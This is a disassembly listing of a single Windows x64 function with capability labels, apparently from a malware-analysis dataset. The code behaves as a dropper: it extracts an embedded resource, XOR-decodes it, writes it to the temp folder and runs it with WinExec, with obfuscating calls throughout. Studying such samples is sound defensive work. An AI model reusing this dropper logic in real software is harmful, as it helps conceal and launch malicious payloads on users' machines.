Function at 0x1400032d0
Capabilities:
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x428
mov r14, rcx
mov ecx, 6
mov edx, 0xa
mov r8d, 0xc4
mov r9d, 0x92
call fcn.140002bc0
mov rdi, rax
mov ecx, 0x2e8d98c7
mov edx, 0xd6
call fcn.140002bc0
mov edx, 0xc675f4
mov rcx, rax
call fcn.140002bc0
mov qword [rsp + 0x20], rax
lea rcx, [0x140006164]
lea rdx, [rsp + 0x160]
mov r8, rdi
mov r9, rax
call fcn.140002bd0
mov rdi, rax
mov qword [rsp + 0x20], rax
mov ecx, 0x17
mov r8d, 0x4c
mov rdx, rax
mov r9, rax
call fcn.140002bc0
mov r15, rax
mov ecx, 0x7386fa37
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140002bc0
mov rsi, rax
movabs rcx, 0xf45b88ca0e6a472f
mov rdx, rdi
call fcn.140002bc0
mov rbx, rax
mov rcx, rsi
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140002bc0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea rcx, [0x140006076]
lea rdx, [rsp + 0x190]
mov r8, r15
mov r9, rax
call fcn.140002bd0
mov ecx, 5
mov rdx, rdi
call fcn.140002bc0
mov rsi, rax
mov ecx, 0x28a9eb35
call fcn.140002bc0
mov r15, rax
movabs rcx, 0x362dfea56fba9613
mov r8d, 0x12
mov r9d, 0xd69927
mov rdx, rdi
call fcn.140002bc0
mov rbx, rax
mov rcx, rsi
mov rdx, rdi
mov r8, rdi
call fcn.140002bc0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea rcx, [0x1400060cf]
lea rsi, [rsp + 0x1e0]
mov rdx, rsi
mov r8, rax
mov r9, r15
call fcn.140002bd0
mov ecx, 0x100
mov rdx, rdi
mov r8, rdi
call fcn.140002bc0
lea rdi, [rsp + 0x320]
mov ecx, eax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [0x14000714c]
mov rcx, rdi
mov rdx, rsi
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x72
mov r8d, 0xa
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
sete byte [rsp + 0x42]
cmp byte [rsp + 0x42], 0
jne 0x140003ee7
mov rdx, qword [rsp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x44], eax
mov rdx, qword [rsp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov edi, dword [rsp + 0x44]
mov dword [rsp + 0x20], ebx
mov r9d, 0xb43529
mov rcx, rdi
mov edx, ebx
mov r8d, ebx
call fcn.140002bc0
mov r15, rax
mov ecx, 0x1000
mov edx, ebx
mov r8d, ebx
call fcn.140002bc0
mov rsi, rax
mov dword [rsp + 0x20], ebx
mov ecx, 4
mov r9d, 0x91
mov edx, ebx
mov r8d, ebx
call fcn.140002bc0
xor ecx, ecx
mov rdx, r15
mov r8d, esi
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov rdx, r14
mov r8, rdi
call fcn.140002b90
lea rcx, [0x14000714c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
call fcn.140002bc0
mov rdi, rax
mov ebx, dword [rsp + 0x44]
mov ecx, 5
mov edx, 0x5165c4
mov r8d, 0x14
mov r9d, 0x2d
call fcn.140002bc0
cmp ebx, eax
seta byte [rsp + 0x43]
cmp esi, edi
jne 0x140003909
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rsp + 0x43]
mov qword [rsp + 0x58], rax
cmp cl, 1
jne 0x140003cc2
mov rax, qword [rsp + 0x48]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov edx, esi
mov r8d, esi
call fcn.140002bc0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x58], rcx
cmp esi, eax
jne 0x140003cc2
mov rax, qword [rsp + 0x48]
add rax, 4
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
movzx ebx, byte [rax]
mov byte [rsp + 0x41], bl
movzx eax, byte [rsp + 0x41]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov dword [rsp + 0x70], ecx
movzx ebp, byte [rsp + 0x41]
xor ecx, ecx
mov edx, ebx
call fcn.140002bc0
mov rsi, rax
mov edi, dword [rsp + 0x70]
mov ecx, 4
mov r8d, 0xf6
mov edx, ebx
mov r9d, ebx
call fcn.140002bc0
mov qword [rsp + 0x58], 0
cmp bpl, sil
je 0x140003cc2
cmp edi, eax
jle 0x140003cc2
mov esi, dword [rsp + 0x70]
mov ecx, 0xfffffffc
mov edx, 0x1d
mov r8d, 0xd3
call fcn.140002bc0
mov rdi, rax
add edi, esi
movzx eax, byte [rsp + 0x41]
mov qword [rsp + 0x98], rax
mov rbx, qword [rsp + 0x98]
mov ecx, 4
mov edx, esi
mov r8d, esi
call fcn.140002bc0
add rax, rbx
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x110], rdi
mov rbx, qword [rsp + 0x110]
mov ecx, 1
mov edx, 0xba
mov r8d, 0x6e
mov r9d, 0xcb
call fcn.140002bc0
and rax, rbx
mov qword [rsp + 0x140], rax
mov ecx, 1
mov r8d, 0x2e
mov edx, esi
call fcn.140002bc0
mov rbx, rax
xor ecx, ecx
mov edx, esi
call fcn.140002bc0
mov qword [rsp + 0xb8], rax
mov r9d, 0x28
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.140002bc0
mov qword [rsp + 0xb0], rax
cmp edi, ebx
je 0x14000389b
mov rsi, qword [rsp + 0x110]
mov ecx, 0xfffffffe
mov rdx, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0x148], rax
xor r14d, r14d
xor ecx, ecx
call fcn.140002bc0
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x20], rsi
mov edx, 0x6d
mov r9d, 0x28
xor ecx, ecx
mov r8, rsi
call fcn.140002bc0
mov qword [rsp + 0xc8], rax
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.140002bc0
mov qword [rsp + 0xc0], rax
mov rsi, qword [rsp + 0xc0]
mov r15, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd0]
cmp rbx, qword [rsp + 0x98]
cmovae rbx, r14
mov rax, qword [rsp + 0x68]
movzx ecx, byte [rax + r15]
mov rdx, qword [rsp + 0x90]
xor cl, byte [rdx + rbx]
mov byte [rax + r15], cl
mov ecx, 1
mov edx, 0x3e
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 0x31
mov ecx, 1
mov r9d, 0xe3
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
or rax, r15
cmp rdi, qword [rsp + 0x98]
cmovae rdi, r14
mov rcx, qword [rsp + 0x68]
movzx edx, byte [rcx + rax]
mov rbp, qword [rsp + 0x90]
xor dl, byte [rbp + rdi]
mov byte [rcx + rax], dl
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0x9b
mov r9d, 0x83
mov r8, rsi
call fcn.140002bc0
mov rbx, rax
add rbx, rdi
mov ecx, 2
mov edx, 0xc7
mov r8, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, r15
mov ecx, 2
call fcn.140002bc0
add rax, rsi
cmp rax, qword [rsp + 0x148]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xb8], rbx
mov qword [rsp + 0xb0], rdi
jne 0x140003780
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x158], rdx
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x128], rax
mov rsi, qword [rsp + 0x140]
xor ecx, ecx
mov r8, rdx
mov r9, rdx
call fcn.140002bc0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
cmp rsi, rax
je 0x140003cc2
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x128]
cmp rcx, rax
jae 0x140003c96
mov rax, qword [rsp + 0x128]
jmp 0x140003c98
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rsp + 0x43]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x78], rcx
cmp dl, 1
jne 0x140003d25
mov rax, qword [rsp + 0x48]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov edx, 0x8e
mov r8d, esi
mov r9d, esi
call fcn.140002bc0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x48]
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x78], rdx
cmp esi, eax
jne 0x140003d25
mov rax, qword [rsp + 0x48]
add rax, 4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movzx ebx, byte [rax]
mov byte [rsp + 0x40], bl
movzx eax, byte [rsp + 0x40]
mov edi, dword [rsp + 0x44]
sub edi, eax
mov ecx, 0xfffffffc
mov edx, 0xce
mov r8d, 0x86
mov r9d, 0x14
call fcn.140002bc0
add eax, edi
mov dword [rsp + 0x54], eax
movzx ebp, byte [rsp + 0x40]
mov edx, 0xd2
mov r8d, 0x84aa57
xor ecx, ecx
mov r9d, ebx
call fcn.140002bc0
mov rsi, rax
mov ecx, 4
call fcn.140002bc0
cmp bpl, sil
je 0x140003e62
cmp edi, eax
jle 0x140003e62
movzx esi, byte [rsp + 0x40]
mov qword [rsp + 0x88], rsi
mov rdi, qword [rsp + 0x88]
mov byte [rsp + 0x28], sil
mov qword [rsp + 0x30], 0x14
mov qword [rsp + 0x20], 0x34
mov ecx, 4
mov edx, 0x46
mov r8d, 0xec
mov r9d, 0x4ee214
call fcn.140002bc0
add rax, rdi
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x108], rax
mov rdi, qword [rsp + 0x108]
mov ecx, 1
mov edx, 0x15
mov r8d, 0xc9
mov r9d, 0xe5afdd
call fcn.140002bc0
and rax, rdi
mov qword [rsp + 0x130], rax
mov edi, dword [rsp + 0x54]
mov ecx, 1
mov edx, 0xa6c854
mov r8d, esi
call fcn.140002bc0
mov rsi, rax
mov qword [rsp + 0xe0], 0
xor ecx, ecx
call fcn.140002bc0
mov qword [rsp + 0xd8], rax
cmp edi, esi
je 0x140003c21
mov rsi, qword [rsp + 0x108]
mov ecx, 0xfffffffe
mov r9d, 0x6d
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0x138], rax
xor r14d, r14d
mov edx, 0x80
xor ecx, ecx
call fcn.140002bc0
mov qword [rsp + 0xf8], rax
xor ecx, ecx
mov rdx, rsi
call fcn.140002bc0
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov edx, 0x14
xor ecx, ecx
mov r8, rsi
mov r9, rsi
call fcn.140002bc0
mov qword [rsp + 0xe8], rax
nop dword [rax + rax]
mov rsi, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xf8]
cmp rbx, qword [rsp + 0x88]
cmovae rbx, r14
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rax + r15]
mov rdx, qword [rsp + 0x80]
xor cl, byte [rdx + rbx]
mov byte [rax + r15], cl
inc rbx
mov ecx, 1
mov edx, 0x72
mov r8, rsi
call fcn.140002bc0
or rax, r15
cmp rbx, qword [rsp + 0x88]
cmovae rbx, r14
mov rcx, qword [rsp + 0x60]
movzx edx, byte [rcx + rax]
mov rbp, qword [rsp + 0x80]
xor dl, byte [rbp + rbx]
mov byte [rcx + rax], dl
mov ecx, 1
mov rdx, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov ecx, 2
mov rdx, rsi
call fcn.140002bc0
mov rbx, rax
add rbx, r15
mov ecx, 2
mov r8d, 0x81
mov r9d, 0xd0
mov rdx, rsi
call fcn.140002bc0
add rax, rsi
cmp rax, qword [rsp + 0x138]
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xd8], rbx
jne 0x140003b30
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x150], rdx
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x118], rax
mov rsi, qword [rsp + 0x130]
mov r8d, 0x6f
mov r9d, 0x5f3b2c
xor ecx, ecx
call fcn.140002bc0
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x78], rdx
cmp rsi, rax
je 0x140003d25
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x118]
cmp rcx, rax
jae 0x140003cf1
mov rax, qword [rsp + 0x118]
jmp 0x140003cf3
xor eax, eax
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x158]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x90]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rsi, qword [rsp + 0x58]
mov ecx, 0x30
mov edx, 0x1cd3af83
call fcn.140002bc0
lea r8, [rsp + 0x160]
xor ecx, ecx
mov rdx, rsi
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140003eb4
xor eax, eax
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x150]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x80]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x74], eax
mov rsi, qword [rsp + 0x120]
mov edi, dword [rsp + 0x74]
mov edx, 0x91
xor ecx, ecx
call fcn.140002bc0
cmp edi, eax
jle 0x140003e62
test rsi, rsi
je 0x140003e62
mov ecx, 0xc0000000
mov edx, 0x72
mov r8d, 0x1e8d7c13
call fcn.140002bc0
mov rsi, rax
mov ecx, 3
mov edx, 0xe1
mov r8d, 0x291771d1
mov r9d, 0x80
call fcn.140002bc0
mov rdi, rax
mov ecx, 2
mov edx, 0x309543
call fcn.140002bc0
mov rbx, rax
mov ecx, 0x80
mov edx, 0x56
call fcn.140002bc0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x320]
mov edx, esi
mov r8d, edi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
inc rax
cmp rax, 2
jb 0x140003e62
mov edx, 0x79a7f6
mov r8d, 0x7e
xor ecx, ecx
call fcn.140002bc0
mov dword [rsp + 0x220], eax
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x120]
mov ecx, dword [rsp + 0x74]
mov edx, 0x7f
mov r8d, ecx
call fcn.140002bc0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x220]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov esi, eax
lea r8, [0x14000714c]
lea rdi, [rsp + 0x220]
lea rdx, [rsp + 0x190]
lea r9, [rsp + 0x320]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0xdc
xor ecx, ecx
mov r8d, esi
call fcn.140002bc0
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rsi, qword [rsp + 0x48]
xor ecx, ecx
call fcn.140002bc0
mov rdi, rax
mov ecx, 0x10000
mov edx, 0x2372b0b1
mov r8d, 0x47
call fcn.140002bc0
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx ebx, byte [rsp + 0x42]
mov ecx, 1
mov edx, 0x2d
mov r8d, ebx
call fcn.140002bc0
xor al, bl
movzx eax, al
and eax, 1
add rsp, 0x428
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret